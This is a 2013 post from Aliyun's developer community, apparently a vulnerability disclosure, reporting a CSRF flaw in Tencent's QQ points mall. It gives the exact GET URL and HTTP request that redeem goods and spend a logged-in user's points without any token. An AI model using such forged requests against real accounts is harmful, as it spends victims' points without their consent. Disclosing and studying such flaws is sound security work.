AI 助理
备案控制台
开发者社区 开发与运维 文章 正文

腾讯QQ积分CSRF导致积分任意挥霍(我的积分为什么少了)

2013-07-12 779
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： 触发点:http://jifen.qq.com/html5/index.html?ADTAG=JIFEN.MART.INDEX 随意兑换一个商品: 因为刚才我已经兑换过了,所以积分没有了.. 没关系,我们换一个QQ! 首先我们查询下积分： 然后我们直接访问以下链接： http://jifen.

触发点:http://jifen.qq.com/html5/index.html?ADTAG=JIFEN.MART.INDEX

随意兑换一个商品:
wps_clip_image-3342
因为刚才我已经兑换过了,所以积分没有了..
没关系,我们换一个QQ!
首先我们查询下积分：
wps_clip_image-12716
然后我们直接访问以下链接：

http://jifen.qq.com/cgi-bin/mart/pay_item.cgi?GoodsID=商品编号&aid=JIFEN.OTHER.1129.CLICK&callback=http%3A%2F%2Fjifen.qq.com%2Fhtml5%2Fcallback.html

兑换一个QQ网络硬盘64M 
GoodsID就相当于商品号
wps_clip_image-25662

http://jifen.qq.com/cgi-bin/mart/pay_item.cgi?GoodsID=1352&aid=JIFEN.OTHER.1129.CLICK&callback=http%3A%2F%2Fjifen.qq.com%2Fhtml5%2Fcallback.html

wps_clip_image-17013

GET /cgi-bin/mart/pay_item.cgi?GoodsID=1352&aid=JIFEN.OTHER.1129.CLICK&callback=http%3A%2F%2Fjifen.qq.com%2Fhtml5%2Fcallback.html HTTP/1.1
Host: jifen.qq.com
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

然后积分就莫名其妙少了..
wps_clip_image-123

文章标签：
Web App开发
关键词：
qq CSRF
y0umer
目录
相关文章
y0umer
|
Web App开发 Windows
腾讯QQ家族任意支付QB+修改资料csrf
http://jz.qq.com/m_card.shtml POST /cgi-bin/league_change_userinfo HTTP/1.1 Host: jz.qq.com Connection: keep-alive Content-Length: 171 Cache-Co...
y0umer
1004 0
东方睿赢
|
4月前
|
JavaScript 安全 前端开发
js开发：请解释什么是XSS攻击和CSRF攻击，并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户，防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作，防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
东方睿赢
94 0
阿甘兄
|
10月前
|
安全 NoSQL Java
互联网并发与安全系列教程（06） - 常见的Web安全漏洞（CSRF攻击）
互联网并发与安全系列教程（06） - 常见的Web安全漏洞（CSRF攻击）
阿甘兄
104 0
黑客网络安全
|
11月前
|
SQL 安全 前端开发
渗透攻击实例-邪恶的CSRF（社会工程学）
渗透攻击实例-邪恶的CSRF（社会工程学）
黑客网络安全
90 0
土木林森
|
4月前
|
缓存 安全 JavaScript
前端安全：Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据，而CSRF则利用用户身份发起非授权请求。防范措施包括：对输入内容转义、使用CSP、选择安全的库；采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF；并实施代码审查、更新依赖及教育团队成员。通过这些实践，可提升Vue应用的安全性，抵御潜在攻击。
土木林森
748 0
众所周知
|
2月前
|
SQL 安全 数据库
Python Web开发者必学：SQL注入、XSS、CSRF攻击与防御实战演练！
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁，提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范；XSS 则需 HTML 转义用户输入与实施 CSP；CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧，能有效加固 Web 应用的安全防线。安全是持续的过程，需贯穿开发始终。
众所周知
68 1
Python Web开发者必学：SQL注入、XSS、CSRF攻击与防御实战演练！
愿天堂没有BUG（公众号同名）
|
1月前
|
Web App开发 存储 安全
就一次！带你彻底搞懂CSRF攻击与防御
与XSS攻击相比，利用CSRF漏洞发动攻击会比较困难，这也是在网络上看起来CSRF的人气小于XSS的原因之一。下面我们来利用CSRF漏洞发起攻击，并针对攻击进行防御，彻底弄懂CSRF，话不多说，我们直接开冲。
愿天堂没有BUG（公众号同名）
59 2
愿天堂没有BUG（公众号同名）
|
2月前
|
运维 安全 Java
什么是 CSRF？如何防止 CSRF 攻击？
CSRF 攻击是一种常见且危险的 Web 安全漏洞，攻击者可以通过伪造用户请求，执行恶意操作，作为程序员，为了防御 CSRF 攻击，常见的策略包括使用 CSRF Token、检查 Referer 或 Origin 头、设置 SameSite Cookie 属性以及双重提交 Cookie。 因为程序员对于 CSRF 攻击可以做的事情还是很有限，所以，承担主要责任的是安全部门或者运维部门，但是作为程序员，我们需要具备这些安全意识，在安全等级比较高的需求中也需要把这些安全因素考虑在内。
愿天堂没有BUG（公众号同名）
50 1
东方睿赢
|
3月前
|
前端开发 安全 JavaScript
XSS和CSRF攻击概览
【6月更文挑战第27天】**XSS和CSRF攻击概览** - XSS：利用未验证用户输入的Web应用，注入恶意脚本到浏览器，盗取信息或控制用户账户。防御措施包括输入验证、内容编码、HttpOnly Cookie和CSP。 - CSRF：攻击者诱使用户执行非授权操作，利用现有会话。防御涉及CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。 应用这些策略可提升Web安全，定期审计和测试同样重要。
东方睿赢
42 3
yqcoder
|
2月前
|
前端开发 安全 JavaScript
CSRF 攻击是什么？如何防范？
CSRF 攻击是什么？如何防范？
yqcoder
52 0